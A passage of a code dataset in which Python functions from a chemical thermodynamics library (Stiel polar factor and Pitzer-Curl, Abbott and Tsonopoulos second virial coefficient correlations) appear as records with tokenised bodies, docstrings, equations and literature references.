fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor of the fluid [-]\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    factor : float\n        Stiel polar factor of compound\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Stiel polar factor with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Only 'DEFINITION' is accepted so far.\n        All valid values are also held in the list Stiel_polar_methods.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Stiel-polar factor for the desired chemical, and will return methods\n        instead of stiel-polar factor\n\n    Notes\n    -----\n    Only one source is available for this function. It is:\n\n        * 'DEFINITION', based on the definition of\n          Stiel Polar Factor presented in [1]_, using vapor pressure data.\n\n    A few points have also been published in [2]_, which may be used for\n    comparison. Currently this is only used for a surface tension correlation.\n\n    Examples\n    --------\n    >>> StielPolar(647.3, 22048321.0, 0.344, CASRN='7732-18-5')\n    0.024581140348734376\n\n    References\n    ----------\n    .. [1] Halm, Roland L., and Leonard I. Stiel. \"A Fourth Parameter for the\n       Vapor Pressure and Entropy of Vaporization of Polar Fluids.\" AIChE\n       Journal 13, no. 2 (1967): 351-355. doi:10.1002/aic.690130228.\n    .. [2] D, Kukoljac Milo\u0161, and Grozdani\u0107 Du\u0161an K. \"New Values of the\n       Polarity Factor.\" Journal of the Serbian Chemical Society 65, no. 12\n       (January 1, 2000). http://www.shd.org.rs/JSCS/Vol65/No12-Pdf/JSCS12-07.pdf", "id": "f15785:m3"}
{"signature": "def BVirial_Pitzer_Curl(T, Tc, Pc, omega, order=<NUM_LIT:0>):", "body": "Tr = T/Tc<EOL>if order == <NUM_LIT:0>:<EOL><INDENT>B0 = <NUM_LIT> - <NUM_LIT>/Tr - <NUM_LIT>/Tr**<NUM_LIT:2> - <NUM_LIT>/Tr**<NUM_LIT:3><EOL>B1 = <NUM_LIT> + <NUM_LIT>/Tr - <NUM_LIT:0.5>/Tr**<NUM_LIT:2> - <NUM_LIT>/Tr**<NUM_LIT:3> - <NUM_LIT>/Tr**<NUM_LIT:8><EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>B0 = Tc*(<NUM_LIT>*T**<NUM_LIT:2> + <NUM_LIT>*T*Tc + <NUM_LIT>*Tc**<NUM_LIT:2>)/(<NUM_LIT>*T**<NUM_LIT:4>)<EOL>B1 = Tc*(-<NUM_LIT>*T**<NUM_LIT:7> + <NUM_LIT>*T**<NUM_LIT:6>*Tc + <NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:2> + <NUM_LIT>*Tc**<NUM_LIT:7>)/(<NUM_LIT>*T**<NUM_LIT:9>)<EOL><DEDENT>elif order == <NUM_LIT:2>:<EOL><INDENT>B0 = -<NUM_LIT:3>*Tc*(<NUM_LIT>*T**<NUM_LIT:2> + <NUM_LIT>*T*Tc + <NUM_LIT>*Tc**<NUM_LIT:2>)/(<NUM_LIT>*T**<NUM_LIT:5>)<EOL>B1 = Tc*(<NUM_LIT>*T**<NUM_LIT:7> - <NUM_LIT>*T**<NUM_LIT:6>*Tc - <NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:2> - <NUM_LIT>*Tc**<NUM_LIT:7>)/(<NUM_LIT>*T**<NUM_LIT:10>)<EOL><DEDENT>elif order == <NUM_LIT:3>:<EOL><INDENT>B0 = <NUM_LIT:3>*Tc*(<NUM_LIT>*T**<NUM_LIT:2> + <NUM_LIT>*T*Tc + <NUM_LIT>*Tc**<NUM_LIT:2>)/(<NUM_LIT>*T**<NUM_LIT:6>)<EOL>B1 = <NUM_LIT:3>*Tc*(-<NUM_LIT>*T**<NUM_LIT:7> + <NUM_LIT:1000>*T**<NUM_LIT:6>*Tc + <NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:2> + <NUM_LIT>*Tc**<NUM_LIT:7>)/(<NUM_LIT>*T**<NUM_LIT:11>)<EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>B0 = <NUM_LIT>*T/<NUM_LIT> - <NUM_LIT>*Tc*log(T)/<NUM_LIT:100> + (<NUM_LIT>*T*Tc**<NUM_LIT:2> + <NUM_LIT>*Tc**<NUM_LIT:3>)/(<NUM_LIT>*T**<NUM_LIT:2>)<EOL>B1 = <NUM_LIT>*T/<NUM_LIT:1000> + <NUM_LIT>*Tc*log(T)/<NUM_LIT:50> + (<NUM_LIT>*T**<NUM_LIT:6>*Tc**<NUM_LIT:2> + <NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:3> + <NUM_LIT>*Tc**<NUM_LIT:8>)/(<NUM_LIT>*T**<NUM_LIT:7>)<EOL><DEDENT>elif order == -<NUM_LIT:2>:<EOL><INDENT>B0 = <NUM_LIT>*T**<NUM_LIT:2>/<NUM_LIT> - <NUM_LIT>*T*Tc*log(T)/<NUM_LIT:100> + <NUM_LIT>*T*Tc/<NUM_LIT:100> + <NUM_LIT>*Tc**<NUM_LIT:2>*log(T)/<NUM_LIT> - <NUM_LIT>*Tc**<NUM_LIT:3>/(<NUM_LIT>*T)<EOL>B1 = <NUM_LIT>*T**<NUM_LIT:2>/<NUM_LIT> + <NUM_LIT>*T*Tc*log(T)/<NUM_LIT:50> - <NUM_LIT>*T*Tc/<NUM_LIT:50> + Tc**<NUM_LIT:2>*log(T)/<NUM_LIT:2> - (<NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:3> + <NUM_LIT>*Tc**<NUM_LIT:8>)/(<NUM_LIT>*T**<NUM_LIT:6>)<EOL><DEDENT>else: <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>Br = B0 + omega*B1<EOL>return Br*R*Tc/Pc<EOL>", "docstring": "r'''Calculates the second virial coefficient using the model in [1]_.\n    Designed for simple calculations.\n\n    .. math::\n        B_r=B^{(0)}+\\omega B^{(1)}\n\n        B^{(0)}=0.1445-0.33/T_r-0.1385/T_r^2-0.0121/T_r^3\n\n        B^{(1)} = 0.073+0.46/T_r-0.5/T_r^2 -0.097/T_r^3 - 0.0073/T_r^8\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    omega : float\n        Acentric factor for fluid, [-]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of B itself; for 1/2/3, \n        the first/second/third derivative of B with respect to temperature; and  \n        for -1/-2, the first/second indefinite integral of B with respect to \n        temperature. No other integrals or derivatives are implemented, and an \n        exception will be raised if any other order is given.\n\n    Returns\n    -------\n    B : float\n        Second virial coefficient in density form or its integral/derivative if\n        specified, [m^3/mol or m^3/mol/K^order]\n\n    Notes\n    -----\n    Analytical models for derivatives and integrals are available for orders\n    -2, -1, 1, 2, and 3, all obtained with SymPy.\n\n    For first temperature derivative of B:\n\n    .. math::\n        \\frac{d B^{(0)}}{dT} = \\frac{33 Tc}{100 T^{2}} + \\frac{277 Tc^{2}}{1000 T^{3}} + \\frac{363 Tc^{3}}{10000 T^{4}}\n\n        \\frac{d B^{(1)}}{dT} = - \\frac{23 Tc}{50 T^{2}} + \\frac{Tc^{2}}{T^{3}} + \\frac{291 Tc^{3}}{1000 T^{4}} + \\frac{73 Tc^{8}}{1250 T^{9}}\n\n    For the second temperature derivative of B:\n\n    .. math::\n        \\frac{d^2 B^{(0)}}{dT^2} = - \\frac{3 Tc}{5000 T^{3}} \\left(1100 + \\frac{1385 Tc}{T} + \\frac{242 Tc^{2}}{T^{2}}\\right)\n\n        \\frac{d^2 B^{(1)}}{dT^2} = \\frac{Tc}{T^{3}} \\left(\\frac{23}{25} - \\frac{3 Tc}{T} - \\frac{291 Tc^{2}}{250 T^{2}} - \\frac{657 Tc^{7}}{1250 T^{7}}\\right)\n\n    For the third temperature derivative of B:\n\n    .. math::\n        \\frac{d^3 B^{(0)}}{dT^3} = \\frac{3 Tc}{500 T^{4}} \\left(330 + \\frac{554 Tc}{T} + \\frac{121 Tc^{2}}{T^{2}}\\right)\n\n        \\frac{d^3 B^{(1)}}{dT^3} = \\frac{3 Tc}{T^{4}} \\left(- \\frac{23}{25} + \\frac{4 Tc}{T} + \\frac{97 Tc^{2}}{50 T^{2}} + \\frac{219 Tc^{7}}{125 T^{7}}\\right)\n\n    For the first indefinite integral of B:\n\n    .. math::\n        \\int{B^{(0)}} dT = \\frac{289 T}{2000} - \\frac{33 Tc}{100} \\log{\\left (T \\right )} + \\frac{1}{20000 T^{2}} \\left(2770 T Tc^{2} + 121 Tc^{3}\\right)\n\n        \\int{B^{(1)}} dT = \\frac{73 T}{1000} + \\frac{23 Tc}{50} \\log{\\left (T \\right )} + \\frac{1}{70000 T^{7}} \\left(35000 T^{6} Tc^{2} + 3395 T^{5} Tc^{3} + 73 Tc^{8}\\right)\n\n    For the second indefinite integral of B:\n\n    .. math::\n        \\int\\int B^{(0)} dT dT = \\frac{289 T^{2}}{4000} - \\frac{33 T}{100} Tc \\log{\\left (T \\right )} + \\frac{33 T}{100} Tc + \\frac{277 Tc^{2}}{2000} \\log{\\left (T \\right )} - \\frac{121 Tc^{3}}{20000 T}\n\n        \\int\\int B^{(1)} dT dT = \\frac{73 T^{2}}{2000} + \\frac{23 T}{50} Tc \\log{\\left (T \\right )} - \\frac{23 T}{50} Tc + \\frac{Tc^{2}}{2} \\log{\\left (T \\right )} - \\frac{1}{420000 T^{6}} \\left(20370 T^{5} Tc^{3} + 73 Tc^{8}\\right)\n\n    Examples\n    --------\n    Example matching that in BVirial_Abbott, for isobutane.\n\n    >>> BVirial_Pitzer_Curl(510., 425.2, 38E5, 0.193)\n    -0.0002084535541385102\n\n    References\n    ----------\n    .. [1] Pitzer, Kenneth S., and R. F. Curl. \"The Volumetric and\n       Thermodynamic Properties of Fluids. III. Empirical Equation for the\n       Second Virial Coefficient1.\" Journal of the American Chemical Society\n       79, no. 10 (May 1, 1957): 2369-70. doi:10.1021/ja01567a007.", "id": "f15786:m0"}
{"signature": "def BVirial_Abbott(T, Tc, Pc, omega, order=<NUM_LIT:0>):", "body": "Tr = T/Tc<EOL>if order == <NUM_LIT:0>:<EOL><INDENT>B0 = <NUM_LIT> - <NUM_LIT>/Tr**<NUM_LIT><EOL>B1 = <NUM_LIT> - <NUM_LIT>/Tr**<NUM_LIT><EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>B0 = <NUM_LIT>*Tr**(-<NUM_LIT>)/T<EOL>B1 = <NUM_LIT>*Tr**(-<NUM_LIT>)/T<EOL><DEDENT>elif order == <NUM_LIT:2>:<EOL><INDENT>B0 = -<NUM_LIT>*Tr**(-<NUM_LIT>)/T**<NUM_LIT:2><EOL>B1 = -<NUM_LIT>*Tr**(-<NUM_LIT>)/T**<NUM_LIT:2><EOL><DEDENT>elif order == <NUM_LIT:3>:<EOL><INDENT>B0 = <NUM_LIT>*Tr**(-<NUM_LIT>)/T**<NUM_LIT:3><EOL>B1 = <NUM_LIT>*Tr**(-<NUM_LIT>)/T**<NUM_LIT:3><EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>B0 = <NUM_LIT>*T + <NUM_LIT>/<NUM_LIT>*Tc*(Tr)**(-<NUM_LIT>)<EOL>B1 = <NUM_LIT>*T + <NUM_LIT>*Tc*Tr**(-<NUM_LIT>)<EOL><DEDENT>elif order == -<NUM_LIT:2>:<EOL><INDENT>B0 = <NUM_LIT>*T**<NUM_LIT:2> + <NUM_LIT>/<NUM_LIT>*Tc**<NUM_LIT:2>*Tr**<NUM_LIT><EOL>B1 = <NUM_LIT>*T**<NUM_LIT:2> - <NUM_LIT>/<NUM_LIT>*Tc**<NUM_LIT:2>*Tr**(-<NUM_LIT>)<EOL><DEDENT>else: <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>Br = B0 + omega*B1<EOL>return Br*R*Tc/Pc<EOL>", "docstring": "r'''Calculates the second virial coefficient using the model in [1]_.\n    Simple fit to the Lee-Kesler equation.\n\n    .. math::\n        B_r=B^{(0)}+\\omega B^{(1)}\n\n        B^{(0)}=0.083+\\frac{0.422}{T_r^{1.6}}\n\n        B^{(1)}=0.139-\\frac{0.172}{T_r^{4.2}}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    omega : float\n        Acentric factor for fluid, [-]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of B itself; for 1/2/3, \n        the first/second/third derivative of B with respect to temperature; and  \n        for -1/-2, the first/second indefinite integral of B with respect to \n        temperature. No other integrals or derivatives are implemented, and an \n        exception will be raised if any other order is given.\n\n    Returns\n    -------\n    B : float\n        Second virial coefficient in density form or its integral/derivative if\n        specified, [m^3/mol or m^3/mol/K^order]\n\n    Notes\n    -----\n    Analytical models for derivatives and integrals are available for orders\n    -2, -1, 1, 2, and 3, all obtained with SymPy.\n\n    For first temperature derivative of B:\n\n    .. math::\n        \\frac{d B^{(0)}}{dT} = \\frac{0.6752}{T \\left(\\frac{T}{Tc}\\right)^{1.6}}\n\n        \\frac{d B^{(1)}}{dT} = \\frac{0.7224}{T \\left(\\frac{T}{Tc}\\right)^{4.2}}\n\n    For the second temperature derivative of B:\n\n    .. math::\n        \\frac{d^2 B^{(0)}}{dT^2} = - \\frac{1.75552}{T^{2} \\left(\\frac{T}{Tc}\\right)^{1.6}}\n\n        \\frac{d^2 B^{(1)}}{dT^2} = - \\frac{3.75648}{T^{2} \\left(\\frac{T}{Tc}\\right)^{4.2}}\n\n    For the third temperature derivative of B:\n\n    .. math::\n        \\frac{d^3 B^{(0)}}{dT^3} = \\frac{6.319872}{T^{3} \\left(\\frac{T}{Tc}\\right)^{1.6}}\n\n        \\frac{d^3 B^{(1)}}{dT^3} = \\frac{23.290176}{T^{3} \\left(\\frac{T}{Tc}\\right)^{4.2}}\n\n    For the first indefinite integral of B:\n\n    .. math::\n        \\int{B^{(0)}} dT = 0.083 T + \\frac{\\frac{211}{300} Tc}{\\left(\\frac{T}{Tc}\\right)^{0.6}}\n\n        \\int{B^{(1)}} dT = 0.139 T + \\frac{0.05375 Tc}{\\left(\\frac{T}{Tc}\\right)^{3.2}}\n\n    For the second indefinite integral of B:\n\n    .. math::\n        \\int\\int B^{(0)} dT dT = 0.0415 T^{2} + \\frac{211}{120} Tc^{2} \\left(\\frac{T}{Tc}\\right)^{0.4}\n\n        \\int\\int B^{(1)} dT dT = 0.0695 T^{2} - \\frac{\\frac{43}{1760} Tc^{2}}{\\left(\\frac{T}{Tc}\\right)^{2.2}}\n\n    Examples\n    --------\n    Example is from [1]_, p. 93, and matches the result exactly, for isobutane.\n\n    >>> BVirial_Abbott(510., 425.2, 38E5, 0.193)\n    -0.00020570178037383633\n\n    References\n    ----------\n    .. [1] Smith, H. C. Van Ness Joseph M. Introduction to Chemical Engineering\n       Thermodynamics 4E 1987.", "id": "f15786:m1"}
{"signature": "def BVirial_Tsonopoulos(T, Tc, Pc, omega, order=<NUM_LIT:0>):", "body": "Tr = T/Tc<EOL>if order == <NUM_LIT:0>:<EOL><INDENT>B0 = <NUM_LIT> - <NUM_LIT>/Tr - <NUM_LIT>/Tr**<NUM_LIT:2> - <NUM_LIT>/Tr**<NUM_LIT:3> - <NUM_LIT>/Tr**<NUM_LIT:8><EOL>B1 = <NUM_LIT> + <NUM_LIT>/Tr**<NUM_LIT:2> - <NUM_LIT>/Tr**<NUM_LIT:3> - <NUM_LIT>/Tr**<NUM_LIT:8><EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>B0 = <NUM_LIT>*Tc/(<NUM_LIT:100>*T**<NUM_LIT:2>) + <NUM_LIT>*Tc**<NUM_LIT:2>/(<NUM_LIT:1000>*T**<NUM_LIT:3>) + <NUM_LIT>*Tc**<NUM_LIT:3>/(<NUM_LIT>*T**<NUM_LIT:4>) + <NUM_LIT>*Tc**<NUM_LIT:8>/(<NUM_LIT>*T**<NUM_LIT:9>)<EOL>B1 = -<NUM_LIT>*Tc**<NUM_LIT:2>/(<NUM_LIT>*T**<NUM_LIT:3>) + <NUM_LIT>*Tc**<NUM_LIT:3>/(<NUM_LIT:1000>*T**<NUM_LIT:4>) + <NUM_LIT:8>*Tc**<NUM_LIT:8>/(<NUM_LIT>*T**<NUM_LIT:9>)<EOL><DEDENT>elif order == <NUM_LIT:2>:<EOL><INDENT>B0 = -<NUM_LIT:3>*Tc*(<NUM_LIT> + <NUM_LIT>*Tc/T + <NUM_LIT>*Tc**<NUM_LIT:2>/T**<NUM_LIT:2> + <NUM_LIT>*Tc**<NUM_LIT:7>/T**<NUM_LIT:7>)/(<NUM_LIT>*T**<NUM_LIT:3>)<EOL>B1 = <NUM_LIT:3>*Tc**<NUM_LIT:2>*(<NUM_LIT> - <NUM_LIT>*Tc/T - <NUM_LIT>*Tc**<NUM_LIT:6>/T**<NUM_LIT:6>)/(<NUM_LIT>*T**<NUM_LIT:4>)<EOL><DEDENT>elif order == <NUM_LIT:3>:<EOL><INDENT>B0 = <NUM_LIT:3>*Tc*(<NUM_LIT> + <NUM_LIT>*Tc/T + <NUM_LIT>*Tc**<NUM_LIT:2>/T**<NUM_LIT:2> + <NUM_LIT>*Tc**<NUM_LIT:7>/T**<NUM_LIT:7>)/(<NUM_LIT>*T**<NUM_LIT:4>)<EOL>B1 = <NUM_LIT:3>*Tc**<NUM_LIT:2>*(-<NUM_LIT> + <NUM_LIT>*Tc/T + <NUM_LIT>*Tc**<NUM_LIT:6>/T**<NUM_LIT:6>)/(<NUM_LIT>*T**<NUM_LIT:5>)<EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>B0 = <NUM_LIT>*T/<NUM_LIT> - <NUM_LIT>*Tc*log(T)/<NUM_LIT> + (<NUM_LIT>*T**<NUM_LIT:6>*Tc**<NUM_LIT:2> + <NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:3> + <NUM_LIT>*Tc**<NUM_LIT:8>)/(<NUM_LIT>*T**<NUM_LIT:7>)<EOL>B1 = <NUM_LIT>*T/<NUM_LIT> - (<NUM_LIT>*T**<NUM_LIT:6>*Tc**<NUM_LIT:2> - <NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:3> - <NUM_LIT>*Tc**<NUM_LIT:8>)/(<NUM_LIT>*T**<NUM_LIT:7>)<EOL><DEDENT>elif order == -<NUM_LIT:2>:<EOL><INDENT>B0 = <NUM_LIT>*T**<NUM_LIT:2>/<NUM_LIT> - <NUM_LIT>*T*Tc*log(T)/<NUM_LIT> + <NUM_LIT>*T*Tc/<NUM_LIT> + <NUM_LIT>*Tc**<NUM_LIT:2>*log(T)/<NUM_LIT> - (<NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:3> + <NUM_LIT>*Tc**<NUM_LIT:8>)/(<NUM_LIT>*T**<NUM_LIT:6>)<EOL>B1 = <NUM_LIT>*T**<NUM_LIT:2>/<NUM_LIT> - <NUM_LIT>*Tc**<NUM_LIT:2>*log(T)/<NUM_LIT> - (<NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:3> + <NUM_LIT>*Tc**<NUM_LIT:8>)/(<NUM_LIT>*T**<NUM_LIT:6>)<EOL><DEDENT>else: <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>Br = (B0+omega*B1)<EOL>return Br*R*Tc/Pc<EOL>", "docstring": "r'''Calculates the second virial coefficient using the model in [1]_.\n\n    .. math::\n        B_r=B^{(0)}+\\omega B^{(1)}\n\n        B^{(0)}= 0.1445-0.330/T_r - 0.1385/T_r^2 - 0.0121/T_r^3 - 0.000607/T_r^8\n\n        B^{(1)} = 0.0637+0.331/T_r^2-0.423/T_r^3 -0.423/T_r^3 - 0.008/T_r^8\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    omega : float\n        Acentric factor for fluid, [-]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of B itself; for 1/2/3, \n        the first/second/third derivative of B with respect to temperature; and  \n        for -1/-2, the first/second indefinite integral of B with respect to \n        temperature. No other integrals or derivatives are implemented, and an \n        exception will be raised if any other order is given.\n\n    Returns\n    -------\n    B : float\n        Second virial coefficient in density form or its integral/derivative if\n        specified, [m^3/mol or m^3/mol/K^order]\n\n    Notes\n    -----\n    A more complete expression is also available, in\n    BVirial_Tsonopoulos_extended.\n\n    Analytical models for derivatives and integrals are available for orders\n    -2, -1, 1, 2, and 3, all obtained with SymPy.\n\n    For first temperature derivative of B:\n\n    .. math::\n        \\frac{d B^{(0)}}{dT} = \\frac{33 Tc}{100 T^{2}} + \\frac{277 Tc^{2}}{1000 T^{3}} + \\frac{363 Tc^{3}}{10000 T^{4}} + \\frac{607 Tc^{8}}{125000 T^{9}}\n\n        \\frac{d B^{(1)}}{dT} = - \\frac{331 Tc^{2}}{500 T^{3}} + \\frac{1269 Tc^{3}}{1000 T^{4}} + \\frac{8 Tc^{8}}{125 T^{9}}\n\n    For the second temperature derivative of B:\n\n    .. math::\n        \\frac{d^2 B^{(0)}}{dT^2} = - \\frac{3 Tc}{125000 T^{3}} \\left(27500 + \\frac{34625 Tc}{T} + \\frac{6050 Tc^{2}}{T^{2}} + \\frac{1821 Tc^{7}}{T^{7}}\\right)\n\n        \\frac{d^2 B^{(1)}}{dT^2} = \\frac{3 Tc^{2}}{500 T^{4}} \\left(331 - \\frac{846 Tc}{T} - \\frac{96 Tc^{6}}{T^{6}}\\right)\n\n    For the third temperature derivative of B:\n\n    .. math::\n        \\frac{d^3 B^{(0)}}{dT^3} = \\frac{3 Tc}{12500 T^{4}} \\left(8250 + \\frac{13850 Tc}{T} + \\frac{3025 Tc^{2}}{T^{2}} + \\frac{1821 Tc^{7}}{T^{7}}\\right)\n\n        \\frac{d^3 B^{(1)}}{dT^3} = \\frac{3 Tc^{2}}{250 T^{5}} \\left(-662 + \\frac{2115 Tc}{T} + \\frac{480 Tc^{6}}{T^{6}}\\right)\n\n    For the first indefinite integral of B:\n\n    .. math::\n        \\int{B^{(0)}} dT = \\frac{289 T}{2000} - \\frac{33 Tc}{100} \\log{\\left (T \\right )} + \\frac{1}{7000000 T^{7}} \\left(969500 T^{6} Tc^{2} + 42350 T^{5} Tc^{3} + 607 Tc^{8}\\right)\n\n        \\int{B^{(1)}} dT = \\frac{637 T}{10000} - \\frac{1}{70000 T^{7}} \\left(23170 T^{6} Tc^{2} - 14805 T^{5} Tc^{3} - 80 Tc^{8}\\right)\n\n    For the second indefinite integral of B:\n\n    .. math::\n        \\int\\int B^{(0)} dT dT = \\frac{289 T^{2}}{4000} - \\frac{33 T}{100} Tc \\log{\\left (T \\right )} + \\frac{33 T}{100} Tc + \\frac{277 Tc^{2}}{2000} \\log{\\left (T \\right )} - \\frac{1}{42000000 T^{6}} \\left(254100 T^{5} Tc^{3} + 607 Tc^{8}\\right)\n\n        \\int\\int B^{(1)} dT dT = \\frac{637 T^{2}}{20000} - \\frac{331 Tc^{2}}{1000} \\log{\\left (T \\right )} - \\frac{1}{210000 T^{6}} \\left(44415 T^{5} Tc^{3} + 40 Tc^{8}\\right)\n\n    Examples\n    --------\n    Example matching that in BVirial_Abbott, for isobutane.\n\n    >>> BVirial_Tsonopoulos(510., 425.2, 38E5, 0.193)\n    -0.00020935288308483694\n\n    References\n    ----------\n    .. [1] Tsonopoulos, Constantine. \"An Empirical Correlation of Second Virial\n       Coefficients.\" AIChE Journal 20, no. 2 (March 1, 1974): 263-72.\n       doi:10.1002/aic.690200209.", "id": "f15786:m2"}
{"signature": "def BVirial_Tsonopoulos_extended(T, Tc, Pc, omega, a=<NUM_LIT:0>, b=<NUM_LIT:0>, species_type='<STR_LIT>', <EOL>dipole=<NUM_LIT:0>, order=<NUM_LIT:0>):", "body": "Tr = T/Tc<EOL>if order == <NUM_LIT:0>:<EOL><INDENT>B0 = <NUM_LIT> - <NUM_LIT>/Tr - <NUM_LIT>/Tr**<NUM_LIT:2> - <NUM_LIT>/Tr**<NUM_LIT:3> - <NUM_LIT>/Tr**<NUM_LIT:8><EOL>B1 = <NUM_LIT> + <NUM_LIT>/Tr**<NUM_LIT:2> - <NUM_LIT>/Tr**<NUM_LIT:3> - <NUM_LIT>/Tr**<NUM_LIT:8><EOL>B2 = <NUM_LIT:1.>/Tr**<NUM_LIT:6><EOL>B3 = -<NUM_LIT:1.>/Tr**<NUM_LIT:8><EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>B0 = <NUM_LIT>*Tc/(<NUM_LIT:100>*T**<NUM_LIT:2>) + <NUM_LIT>*Tc**<NUM_LIT:2>/(<NUM_LIT:1000>*T**<NUM_LIT:3>) + <NUM_LIT>*Tc**<NUM_LIT:3>/(<NUM_LIT>*T**<NUM_LIT:4>) + <NUM_LIT>*Tc**<NUM_LIT:8>/(<NUM_LIT>*T**<NUM_LIT:9>)<EOL>B1 = -<NUM_LIT>*Tc**<NUM_LIT:2>/(<NUM_LIT>*T**<NUM_LIT:3>) + <NUM_LIT>*Tc**<NUM_LIT:3>/(<NUM_LIT:1000>*T**<NUM_LIT:4>) + <NUM_LIT:8>*Tc**<NUM_LIT:8>/(<NUM_LIT>*T**<NUM_LIT:9>)<EOL>B2 = -<NUM_LIT>*Tc**<NUM_LIT:6>/T**<NUM_LIT:7><EOL>B3 = <NUM_LIT>*Tc**<NUM_LIT:8>/T**<NUM_LIT:9><EOL><DEDENT>elif order == <NUM_LIT:2>:<EOL><INDENT>B0 = -<NUM_LIT:3>*Tc*(<NUM_LIT> + <NUM_LIT>*Tc/T + <NUM_LIT>*Tc**<NUM_LIT:2>/T**<NUM_LIT:2> + <NUM_LIT>*Tc**<NUM_LIT:7>/T**<NUM_LIT:7>)/(<NUM_LIT>*T**<NUM_LIT:3>)<EOL>B1 = <NUM_LIT:3>*Tc**<NUM_LIT:2>*(<NUM_LIT> - <NUM_LIT>*Tc/T - <NUM_LIT>*Tc**<NUM_LIT:6>/T**<NUM_LIT:6>)/(<NUM_LIT>*T**<NUM_LIT:4>)<EOL>B2 = <NUM_LIT>*Tc**<NUM_LIT:6>/T**<NUM_LIT:8><EOL>B3 = -<NUM_LIT>*Tc**<NUM_LIT:8>/T**<NUM_LIT:10><EOL><DEDENT>elif order == <NUM_LIT:3>:<EOL><INDENT>B0 = <NUM_LIT:3>*Tc*(<NUM_LIT> + <NUM_LIT>*Tc/T + <NUM_LIT>*Tc**<NUM_LIT:2>/T**<NUM_LIT:2> + <NUM_LIT>*Tc**<NUM_LIT:7>/T**<NUM_LIT:7>)/(<NUM_LIT>*T**<NUM_LIT:4>)<EOL>B1 = <NUM_LIT:3>*Tc**<NUM_LIT:2>*(-<NUM_LIT> + <NUM_LIT>*Tc/T + <NUM_LIT>*Tc**<NUM_LIT:6>/T**<NUM_LIT:6>)/(<NUM_LIT>*T**<NUM_LIT:5>)<EOL>B2 = -<NUM_LIT>*Tc**<NUM_LIT:6>/T**<NUM_LIT:9><EOL>B3 = <NUM_LIT>*Tc**<NUM_LIT:8>/T**<NUM_LIT:11><EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>B0 = <NUM_LIT>*T/<NUM_LIT> - <NUM_LIT>*Tc*log(T)/<NUM_LIT> + (<NUM_LIT>*T**<NUM_LIT:6>*Tc**<NUM_LIT:2> + <NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:3> + <NUM_LIT>*Tc**<NUM_LIT:8>)/(<NUM_LIT>*T**<NUM_LIT:7>)<EOL>B1 = <NUM_LIT>*T/<NUM_LIT> - (<NUM_LIT>*T**<NUM_LIT:6>*Tc**<NUM_LIT:2> - <NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:3> - <NUM_LIT>*Tc**<NUM_LIT:8>)/(<NUM_LIT>*T**<NUM_LIT:7>)<EOL>B2 = -Tc**<NUM_LIT:6>/(<NUM_LIT:5>*T**<NUM_LIT:5>)<EOL>B3 = Tc**<NUM_LIT:8>/(<NUM_LIT:7>*T**<NUM_LIT:7>)<EOL><DEDENT>elif order == -<NUM_LIT:2>:<EOL><INDENT>B0 = <NUM_LIT>*T**<NUM_LIT:2>/<NUM_LIT> - <NUM_LIT>*T*Tc*log(T)/<NUM_LIT> + <NUM_LIT>*T*Tc/<NUM_LIT> + <NUM_LIT>*Tc**<NUM_LIT:2>*log(T)/<NUM_LIT> - (<NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:3> + <NUM_LIT>*Tc**<NUM_LIT:8>)/(<NUM_LIT>*T**<NUM_LIT:6>)<EOL>B1 = <NUM_LIT>*T**<NUM_LIT:2>/<NUM_LIT> - <NUM_LIT>*Tc**<NUM_LIT:2>*log(T)/<NUM_LIT> - (<NUM_LIT>*T**<NUM_LIT:5>*Tc**<NUM_LIT:3> + <NUM_LIT>*Tc**<NUM_LIT:8>)/(<NUM_LIT>*T**<NUM_LIT:6>)<EOL>B2 = Tc**<NUM_LIT:6>/(<NUM_LIT:20>*T**<NUM_LIT:4>)<EOL>B3 = -Tc**<NUM_LIT:8>/(<NUM_LIT>*T**<NUM_LIT:6>)<EOL><DEDENT>else: <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if a == <NUM_LIT:0> and b == <NUM_LIT:0> and species_type != '<STR_LIT>':<EOL><INDENT>if species_type == '<STR_LIT>' or species_type == '<STR_LIT>':<EOL><INDENT>a, b = <NUM_LIT:0>, <NUM_LIT:0><EOL><DEDENT>elif species_type == '<STR_LIT>':<EOL><INDENT>a, b = 